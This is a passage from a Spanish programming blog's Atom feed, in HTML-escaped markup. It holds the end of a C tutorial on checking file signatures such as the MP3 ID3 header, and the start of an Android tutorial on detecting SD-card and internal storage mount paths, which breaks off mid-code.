        &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los segundos 4 bytes&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
            &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id2&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;])&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no son iguales &lt;/span&gt;
            &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
                &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cambiamos el valor de retorno&lt;/span&gt;
                &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// rompemos el bucle&lt;/span&gt;
            &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cerramos el archivo&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Regresamos el valor&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isMp3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numero de Bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// array que contendra los numero magicos&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x49&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x44&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x33&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numeros magicos del mp3&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Este sera el valor de retorno&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;FILE&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fopen&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Abrimos el archivo&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los primeros 3 bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;])&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no son iguales &lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
             &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cambiamos el valor de retorno&lt;/span&gt;
             &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// rompemos el bucle&lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cerramos el archivo&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Regresamos el valor&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Definimos un array de n bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;FILE&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fopen&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Abrimos el archivo en modo binario y lectura&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los primeros n bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;isgraph&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]))&lt;/span&gt;  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si se puede imprimir&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Nums %c\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lo imprimimos&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

    &lt;span style=&quot;color: black;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Así podemos crear un biblioteca con todas las extensiones para usarlas en un programa.&lt;br /&gt;
&lt;br /&gt;
Eso es todo :D</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/187196978272239460/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/02/como-leer-numeros-magicos-con-c-file.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/187196978272239460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/187196978272239460'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/02/como-leer-numeros-magicos-con-c-file.html' title='Como leer Numeros Magicos con C (file signatures)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTLC3RAabuVr9TWIFVbZkHlzpN2FbY6TAxMiEfXbM-ggLitzHzWvdH4tHjWZqJDFpckgogcfcGb1jGcHGmMGTMdiNL4LP3mjMuDEnPcSIxuTPisGd-Bi5PmGBUc2rqCGTQBsuZRx_jA-0k/s72-c/linux+numbers.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-883074275983453241</id><published>2015-02-08T13:52:00.000-06:00</published><updated>2015-02-08T15:00:47.934-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="almacenamiento"/><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="memoria"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><title type='text'>Como detectar rutas de almacenamiento en Android</title><content type='html'>En esta entrada vamos a aprender a detectar rutas de almacenamiento en &lt;b&gt;Android&lt;/b&gt;,esto puede que se entienda para diversas cosas, a lo que me refiero es encontrar los puntos de montaje de nuestras tarjetas sd o de la memoria interna,ya que muchos dispositivos sean tablets,smartphones tienen rutas distintas,por ejemplo:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;b&gt;/mnt/sdcard&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
otras&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;/mnt/sdcard0&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
etc.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Con la funcion de&amp;nbsp;&lt;b&gt;Environment &lt;/b&gt;esta&lt;b&gt;:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Environment.getExternalStorageDirectory();&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
Nos da solo la externa pero para los dispositivos con mas de una memoria esto se complica.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Esta función no nos da la ruta interna:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Environment.getDataDirectory();&lt;/b&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
Nos da la ruta data de la aplicación,algo así como:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;/data&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Y no es lo que queremos en este caso,en este caso es por ejemplo para una aplicaccion multimedia que busca todos los archivos de música,fotos o vídeo y para eso necesitamos los distintos almacenamientos.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;Para hacer lo que mencione existe la MediaStore que contempla las rutas pero muchas veces no tiene información completa y se tarda en actualizar en dispositivos antiguos por ejemplo si le acabamos de mandar imagenes por medio de la pc en almacenamiento masivo,así que es mejor buscar la información nosotros mismos.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bien,la solución que vamos a usar aquí es la siguiente,vamos a buscar en las posibles rutas de montaje de &lt;b&gt;Android&lt;/b&gt; y guardar las carpetas que contengan &lt;b&gt;sd&lt;/b&gt; ya que en muchos dispositivos así es como lo hace Android,si no es asi tendríamos que añadir otras coincidencias.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Primero que nada vamos a crear un ArrayList de Strings que va a guardar las rutas sd:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;private&amp;nbsp;&lt;string&gt;ArrayList&lt;string&gt;&amp;nbsp;SD_CARDS;&lt;/string&gt;&lt;/string&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ahora vamos a crear una función que haga el trabajo:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;getAllsds&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;&lt;/span&gt; tmp &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;();&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Array de todas las rutas&lt;/span&gt;

